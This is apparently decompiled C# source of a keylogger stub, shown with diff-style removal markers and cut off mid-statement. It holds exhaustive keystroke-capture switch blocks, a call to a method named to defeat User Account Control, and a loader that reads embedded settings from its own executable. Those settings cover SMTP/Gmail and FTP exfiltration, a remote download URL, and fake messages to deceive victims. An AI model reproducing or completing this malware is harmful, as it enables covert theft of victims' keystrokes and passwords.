this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "a"; - break; - case Keys.B: - this.TextBox1.Text += "b"; - break; - case Keys.C: - this.TextBox1.Text += "c"; - break; - case Keys.D: - this.TextBox1.Text += "d"; - break; - case Keys.E: - this.TextBox1.Text += "e"; - break; - case Keys.F: - this.TextBox1.Text += "f"; - break; - case Keys.G: - this.TextBox1.Text += "g"; - break; - case Keys.H: - this.TextBox1.Text += "h"; - break; - case Keys.I: - this.TextBox1.Text += "i"; - break; - case Keys.J: - this.TextBox1.Text += "j"; - break; - case Keys.K: - this.TextBox1.Text += "k"; - break; - case Keys.L: - this.TextBox1.Text += "l"; - break; - case Keys.M: - this.TextBox1.Text += "m"; - break; - case Keys.N: - this.TextBox1.Text += "n"; - break; - case Keys.O: - this.TextBox1.Text += "o"; - break; - case Keys.P: - this.TextBox1.Text += "p"; - break; - case Keys.Q: - this.TextBox1.Text += "q"; - break; - case Keys.R: - this.TextBox1.Text += "r"; - break; - case Keys.S: - this.TextBox1.Text += "s"; - break; - case Keys.T: - this.TextBox1.Text += "t"; - break; - case Keys.U: - this.TextBox1.Text += "u"; - break; - case Keys.V: - this.TextBox1.Text += "v"; - break; - case Keys.W: - this.TextBox1.Text += "w"; - break; - case Keys.X: - this.TextBox1.Text += "x"; - break; - case Keys.Y: - this.TextBox1.Text += "y"; - break; - case Keys.Z: - this.TextBox1.Text += "z"; - break; - case Keys.NumPad0: - this.TextBox1.Text += "0"; - break; - case Keys.NumPad1: - this.TextBox1.Text += "1"; - break; - case Keys.NumPad2: - this.TextBox1.Text += "2"; - break; - case Keys.NumPad3: - this.TextBox1.Text += "3"; - break; - case Keys.NumPad4: - this.TextBox1.Text += "4"; - break; - case Keys.NumPad5: - this.TextBox1.Text += "5"; - break; - case Keys.NumPad6: - this.TextBox1.Text += "6"; - break; - case Keys.NumPad7: - this.TextBox1.Text += "7"; - break; - case Keys.NumPad8: - this.TextBox1.Text += "8"; - break; - case Keys.NumPad9: - this.TextBox1.Text += "9"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.NumPad0: - this.TextBox1.Text += "0"; - break; - case Keys.NumPad1: - this.TextBox1.Text += "1"; - break; - case Keys.NumPad2: - this.TextBox1.Text += "2"; - break; - case Keys.NumPad3: - this.TextBox1.Text += "3"; - break; - case Keys.NumPad4: - this.TextBox1.Text += "4"; - break; - case Keys.NumPad5: - this.TextBox1.Text += "5"; - break; - case Keys.NumPad6: - this.TextBox1.Text += "6"; - break; - case Keys.NumPad7: - this.TextBox1.Text += "7"; - break; - case Keys.NumPad8: - this.TextBox1.Text += "8"; - break; - case Keys.NumPad9: - this.TextBox1.Text += "9"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else if (MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.D0: - this.TextBox1.Text += ")"; - break; - case Keys.D1: - this.TextBox1.Text += "!"; - break; - case Keys.D2: - this.TextBox1.Text += "@"; - break; - case Keys.D3: - this.TextBox1.Text += "#"; - break; - case Keys.D4: - this.TextBox1.Text += "$"; - break; - case Keys.D5: - this.TextBox1.Text += "%"; - break; - case Keys.D6: - this.TextBox1.Text += "^"; - break; - case Keys.D7: - this.TextBox1.Text += "&"; - break; - case Keys.D8: - this.TextBox1.Text += "*"; - break; - case Keys.D9: - this.TextBox1.Text += "("; - break; - case Keys.A: - this.TextBox1.Text += "A"; - break; - case Keys.B: - this.TextBox1.Text += "B"; - break; - case Keys.C: - this.TextBox1.Text += "C"; - break; - case Keys.D: - this.TextBox1.Text += "D"; - break; - case Keys.E: - this.TextBox1.Text += "E"; - break; - case Keys.F: - this.TextBox1.Text += "F"; - break; - case Keys.G: - this.TextBox1.Text += "G"; - break; - case Keys.H: - this.TextBox1.Text += "H"; - break; - case Keys.I: - this.TextBox1.Text += "I"; - break; - case Keys.J: - this.TextBox1.Text += "J"; - break; - case Keys.K: - this.TextBox1.Text += "K"; - break; - case Keys.L: - this.TextBox1.Text += "L"; - break; - case Keys.M: - this.TextBox1.Text += "M"; - break; - case Keys.N: - this.TextBox1.Text += "N"; - break; - case Keys.O: - this.TextBox1.Text += "O"; - break; - case Keys.P: - this.TextBox1.Text += "P"; - break; - case Keys.Q: - this.TextBox1.Text += "Q"; - break; - case Keys.R: - this.TextBox1.Text += "R"; - break; - case Keys.S: - this.TextBox1.Text += "S"; - break; - case Keys.T: - this.TextBox1.Text += "T"; - break; - case Keys.U: - this.TextBox1.Text += "U"; - break; - case Keys.V: - this.TextBox1.Text += "V"; - break; - case Keys.W: - this.TextBox1.Text += "W"; - break; - case Keys.X: - this.TextBox1.Text += "X"; - break; - case Keys.Y: - this.TextBox1.Text += "Y"; - break; - case Keys.Z: - this.TextBox1.Text += "Z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ":"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += "<"; - break; - case Keys.OemMinus: - this.TextBox1.Text += "_"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += ">"; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "?"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "~"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "{"; - break; - case Keys.OemPipe: - this.TextBox1.Text += "|"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "}"; - break; - } - } - else if (!MyProject.Computer.Keyboard.ShiftKeyDown & MyProject.Computer.Keyboard.CapsLock) - { - switch (Key) - { - case Keys.Back: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.Tab: - this.TextBox1.Text += "[TAB]"; - break; - case Keys.Return: - this.TextBox1.Text += "\r\n"; - break; - case Keys.Escape: - this.TextBox1.Text += "[ESC]"; - break; - case Keys.Space: - this.TextBox1.Text += " "; - break; - case Keys.End: - this.TextBox1.Text += "[END]"; - break; - case Keys.Left: - this.TextBox1.Text += "?"; - break; - case Keys.Up: - this.TextBox1.Text += "?"; - break; - case Keys.Right: - this.TextBox1.Text += "?"; - break; - case Keys.Down: - this.TextBox1.Text += "?"; - break; - case Keys.Delete: - this.TextBox1.Text += "[DEL]"; - break; - case Keys.D0: - this.TextBox1.Text += "0"; - break; - case Keys.D1: - this.TextBox1.Text += "1"; - break; - case Keys.D2: - this.TextBox1.Text += "2"; - break; - case Keys.D3: - this.TextBox1.Text += "3"; - break; - case Keys.D4: - this.TextBox1.Text += "4"; - break; - case Keys.D5: - this.TextBox1.Text += "5"; - break; - case Keys.D6: - this.TextBox1.Text += "6"; - break; - case Keys.D7: - this.TextBox1.Text += "7"; - break; - case Keys.D8: - this.TextBox1.Text += "8"; - break; - case Keys.D9: - this.TextBox1.Text += "9"; - break; - case Keys.A: - this.TextBox1.Text += "a"; - break; - case Keys.B: - this.TextBox1.Text += "b"; - break; - case Keys.C: - this.TextBox1.Text += "c"; - break; - case Keys.D: - this.TextBox1.Text += "d"; - break; - case Keys.E: - this.TextBox1.Text += "e"; - break; - case Keys.F: - this.TextBox1.Text += "f"; - break; - case Keys.G: - this.TextBox1.Text += "g"; - break; - case Keys.H: - this.TextBox1.Text += "h"; - break; - case Keys.I: - this.TextBox1.Text += "i"; - break; - case Keys.J: - this.TextBox1.Text += "j"; - break; - case Keys.K: - this.TextBox1.Text += "k"; - break; - case Keys.L: - this.TextBox1.Text += "l"; - break; - case Keys.M: - this.TextBox1.Text += "m"; - break; - case Keys.N: - this.TextBox1.Text += "n"; - break; - case Keys.O: - this.TextBox1.Text += "o"; - break; - case Keys.P: - this.TextBox1.Text += "p"; - break; - case Keys.Q: - this.TextBox1.Text += "q"; - break; - case Keys.R: - this.TextBox1.Text += "r"; - break; - case Keys.S: - this.TextBox1.Text += "s"; - break; - case Keys.T: - this.TextBox1.Text += "t"; - break; - case Keys.U: - this.TextBox1.Text += "u"; - break; - case Keys.V: - this.TextBox1.Text += "v"; - break; - case Keys.W: - this.TextBox1.Text += "w"; - break; - case Keys.X: - this.TextBox1.Text += "x"; - break; - case Keys.Y: - this.TextBox1.Text += "y"; - break; - case Keys.Z: - this.TextBox1.Text += "z"; - break; - case Keys.Multiply: - this.TextBox1.Text += "*"; - break; - case Keys.Add: - this.TextBox1.Text += "+"; - break; - case Keys.Subtract: - this.TextBox1.Text += "-"; - break; - case Keys.Decimal: - this.TextBox1.Text += "."; - break; - case Keys.Divide: - this.TextBox1.Text += "/"; - break; - case Keys.F1: - this.TextBox1.Text += "[F1]"; - break; - case Keys.F2: - this.TextBox1.Text += "[F2]"; - break; - case Keys.F3: - this.TextBox1.Text += "[F3]"; - break; - case Keys.F4: - this.TextBox1.Text += "[F4]"; - break; - case Keys.F5: - this.TextBox1.Text += "[F5]"; - break; - case Keys.F6: - this.TextBox1.Text += "[F6]"; - break; - case Keys.F7: - this.TextBox1.Text += "[F7]"; - break; - case Keys.F8: - this.TextBox1.Text += "[F8]"; - break; - case Keys.F9: - this.TextBox1.Text += "[F9]"; - break; - case Keys.F10: - this.TextBox1.Text += "[F10]"; - break; - case Keys.F11: - this.TextBox1.Text += "[F11]"; - break; - case Keys.F12: - this.TextBox1.Text += "[F12]"; - break; - case Keys.OemSemicolon: - this.TextBox1.Text += ";"; - break; - case Keys.Oemcomma: - this.TextBox1.Text += ","; - break; - case Keys.OemMinus: - this.TextBox1.Text += "-"; - break; - case Keys.OemPeriod: - this.TextBox1.Text += "."; - break; - case Keys.OemQuestion: - this.TextBox1.Text += "/"; - break; - case Keys.Oemtilde: - this.TextBox1.Text += "`"; - break; - case Keys.OemOpenBrackets: - this.TextBox1.Text += "["; - break; - case Keys.OemPipe: - this.TextBox1.Text += "\\"; - break; - case Keys.OemCloseBrackets: - this.TextBox1.Text += "]"; - break; - case Keys.OemQuotes: - this.TextBox1.Text += "'"; - break; - } - } - else - { - if (!(MyProject.Computer.Keyboard.ShiftKeyDown & !MyProject.Computer.Keyboard.CapsLock)) - return; - if (Key == Keys.D1) - this.TextBox1.Text += "!"; - else if (Key == Keys.D2) - this.TextBox1.Text += "@"; - else if (Key == Keys.D3) - this.TextBox1.Text += "#"; - else if (Key == Keys.D4) - this.TextBox1.Text += "$"; - else if (Key == Keys.D5) - this.TextBox1.Text += "%"; - else if (Key == Keys.D6) - this.TextBox1.Text += "^"; - else if (Key == Keys.D7) - this.TextBox1.Text += "&"; - else if (Key == Keys.D8) - this.TextBox1.Text += "*"; - else if (Key == Keys.D9) - this.TextBox1.Text += "("; - else if (Key == Keys.D0) - this.TextBox1.Text += ")"; - else if (Key == Keys.A) - this.TextBox1.Text += "A"; - else if (Key == Keys.B) - this.TextBox1.Text += "B"; - else if (Key == Keys.C) - this.TextBox1.Text += "C"; - else if (Key == Keys.D) - this.TextBox1.Text += "D"; - else if (Key == Keys.E) - this.TextBox1.Text += "E"; - else if (Key == Keys.F) - this.TextBox1.Text += "F"; - else if (Key == Keys.G) - this.TextBox1.Text += "G"; - else if (Key == Keys.H) - this.TextBox1.Text += "H"; - else if (Key == Keys.I) - this.TextBox1.Text += "I"; - else if (Key == Keys.J) - this.TextBox1.Text += "J"; - else if (Key == Keys.K) - this.TextBox1.Text += "K"; - else if (Key == Keys.L) - this.TextBox1.Text += "L"; - else if (Key == Keys.M) - this.TextBox1.Text += "M"; - else if (Key == Keys.N) - this.TextBox1.Text += "N"; - else if (Key == Keys.O) - this.TextBox1.Text += "O"; - else if (Key == Keys.D2) - this.TextBox1.Text += "@"; - else if (Key == Keys.P) - this.TextBox1.Text += "P"; - else if (Key == Keys.Q) - this.TextBox1.Text += "Q"; - else if (Key == Keys.R) - this.TextBox1.Text += "R"; - else if (Key == Keys.S) - this.TextBox1.Text += "S"; - else if (Key == Keys.T) - this.TextBox1.Text += "T"; - else if (Key == Keys.U) - this.TextBox1.Text += "U"; - else if (Key == Keys.V) - this.TextBox1.Text += "V"; - else if (Key == Keys.W) - this.TextBox1.Text += "W"; - else if (Key == Keys.X) - this.TextBox1.Text += "X"; - else if (Key == Keys.Y) - this.TextBox1.Text += "Y"; - else if (Key == Keys.Z) - this.TextBox1.Text += "Z"; - else if (Key == Keys.Oemcomma) - this.TextBox1.Text += "<"; - else if (Key == Keys.OemMinus) - this.TextBox1.Text += "_"; - else if (Key == Keys.OemOpenBrackets) - this.TextBox1.Text += "{"; - else if (Key == Keys.OemCloseBrackets) - this.TextBox1.Text += "}"; - else if (Key == Keys.OemQuestion) - this.TextBox1.Text += "?"; - else if (Key == Keys.OemPipe) - this.TextBox1.Text += "|"; - else if (Key == Keys.OemSemicolon) - this.TextBox1.Text += ":"; - else if (Key == Keys.OemPeriod) - this.TextBox1.Text += ">"; - else if (Key == Keys.Oemtilde) - this.TextBox1.Text += "~"; - else if (Key == Keys.Space) - this.TextBox1.Text += " "; - else if (Key == Keys.Return) - this.TextBox1.Text += "\r\n"; - else if (Key == Keys.F1) - this.TextBox1.Text += "[F1]"; - else if (Key == Keys.F2) - this.TextBox1.Text += "[F2]"; - else if (Key == Keys.F3) - this.TextBox1.Text += "[F3]"; - else if (Key == Keys.F4) - this.TextBox1.Text += "[F4]"; - else if (Key == Keys.F5) - this.TextBox1.Text += "[F5]"; - else if (Key == Keys.F6) - this.TextBox1.Text += "[F6]"; - else if (Key == Keys.F7) - this.TextBox1.Text += "[F7]"; - else if (Key == Keys.F8) - this.TextBox1.Text += "[F8]"; - else if (Key == Keys.F9) - this.TextBox1.Text += "[F9]"; - else if (Key == Keys.F10) - this.TextBox1.Text += "[F10]"; - else if (Key == Keys.F11) - this.TextBox1.Text += "[F11]"; - else if (Key == Keys.F12) - this.TextBox1.Text += "[F12]"; - else if (Key == Keys.Delete) - this.TextBox1.Text += "[DEL]"; - else if (Key == Keys.Back) - this.TextBox1.Text += "[DEL]"; - else if (Key == Keys.Down) - this.TextBox1.Text += "?"; - else if (Key == Keys.Up) - this.TextBox1.Text += "?"; - else if (Key == Keys.Left) - this.TextBox1.Text += "?"; - else if (Key == Keys.Right) - this.TextBox1.Text += "?"; - else if (Key == Keys.Tab) - this.TextBox1.Text += "[TAB]"; - else if (Key == Keys.End) - this.TextBox1.Text += "[END]"; - else if (Key == Keys.Escape) - this.TextBox1.Text += "[ESC]"; - else if (Key == Keys.Divide) - this.TextBox1.Text += "/"; - else if (Key == Keys.Decimal) - this.TextBox1.Text += "."; - else if (Key == Keys.Subtract) - this.TextBox1.Text += "-"; - else if (Key == Keys.Add) - { - this.TextBox1.Text += "+"; - } - else - { - if (Key != Keys.Multiply) - return; - this.TextBox1.Text += "*"; - } - } - } - - private void Form1_Load(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num1 = 1; -label_1: - int num3 = 2; - this.Fuck_Uac(); -label_2: - num3 = 3; - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); -label_3: - num3 = 4; - this.text1 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_4: - num3 = 5; - this.text2 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_5: - num3 = 6; - this.text3 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_6: - num3 = 7; - this.numberval = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_7: - num3 = 8; - this.smtpgmail = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_8: - num3 = 9; - this.ftpfolder = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_9: - num3 = 10; - this.smtp = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_10: - num3 = 11; - this.port = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_11: - num3 = 12; - this.skey = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_12: - num3 = 13; - this.cb1 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_13: - num3 = 14; - this.cb2 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_14: - num3 = 15; - this.cb3 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_15: - num3 = 16; - this.rdurl = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_16: - num3 = 17; - this.rdfilename = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_17: - num3 = 18; - this.cb4 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_18: - num3 = 19; - this.fakesub = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_19: - num3 = 20; - this.fakebody = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_20: - num3 = 21; - this.fakeerror = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_21: - num3 = 22; - this.cb6 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_22: - num3 = 23; - this.cb7 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_23: - num3 = 24; - this.cb8 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_24: - num3 = 25; - this.cb9 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_25: - num3 = 26; - this.cb11 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_26: - num3 = 27; - this.cb12 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_27: - num3 = 28; - this.cb13 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_28: - num3 = 29; - this.cb14 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_29: - num3 = 30; - this.cb15 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_30: - num3 = 31; - this.cb16 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_31: - num3 = 32; - this.cb17 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_32: - num3 = 33; - this.cb18 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_33: - num3 = 34; - this.cb19 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_34: - num3 = 35; - this.cb20 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_35: - num3 = 36; - this.cb21 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_36: - num3 = 37; - this.cb22 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_37: - num3 = 38; - this.sername = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_38: - num3 = 39; - this.cb5 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_39: - num3 = 40; - this.wlist = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_40: - num3 = 41; - this.cb23 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_41: - num3 = 42; - this.cb24 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_42: - num3 = 43; - this.cb25 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_43: - num3 = 44; - this.cb26 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_44: - num3 = 45; - this.cb27 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_45: - num3 = 46; - this.cb28 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_46: - num3 = 47; - this.cb29 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_47: - num3 = 48; - this.cb30 = Microsoft.VisualBasic.Strings.Space(checked ((int) FileSystem.LOF(1))); -label_48: - num3 = 49; - FileSystem.FileGet(1, ref this.text1); -label_49: - num3 = 50; - FileSystem.FileGet(1, ref this.text2); -label_50: - num3 = 51; - FileSystem.FileGet(1, ref this.text3); -label_51: - num3 = 52; - FileSystem.FileGet(1, ref this.numberval); -label_52: - num3 = 53; - FileSystem.FileGet(1, ref this.smtpgmail); -label_53: - num3 = 54; - FileSystem.FileGet(1, ref this.ftpfolder); -label_54: - num3 = 55; - FileSystem.FileGet(1, ref this.smtp); -label_55: - num3 = 56; - FileSystem.FileGet(1, ref this.port); -label_56: - num3 = 57; - FileSystem.FileGet(1, ref this.skey); -label_57: - num3 = 58; - FileSystem.FileGet(1, ref this.cb1); -label_58: - num3 = 59; - FileSystem.FileGet(1, ref this.cb2); -label_59: - num3 = 60; - FileSystem.FileGet(1, ref this.cb3); -label_60: - num3 = 61; - FileSystem.FileGet(1, ref this.rdurl); -label_61: - num3 = 62; - FileSystem.FileGet(1, ref this.rdfilename); -label_62: - num3 = 63; - FileSystem.FileGet(1, ref this.cb4); -label_63: - num3 = 64; - FileSystem.FileGet(1, ref this.fakesub); -label_64: - num3 = 65; - FileSystem.FileGet(1, ref this.fakebody); -label_65: - num3 = 66; - FileSystem.FileGet(1, ref this.fakeerror); -label_66: - num3 = 67; - FileSystem.FileGet(1, ref this.cb6); -label_67: - num3 = 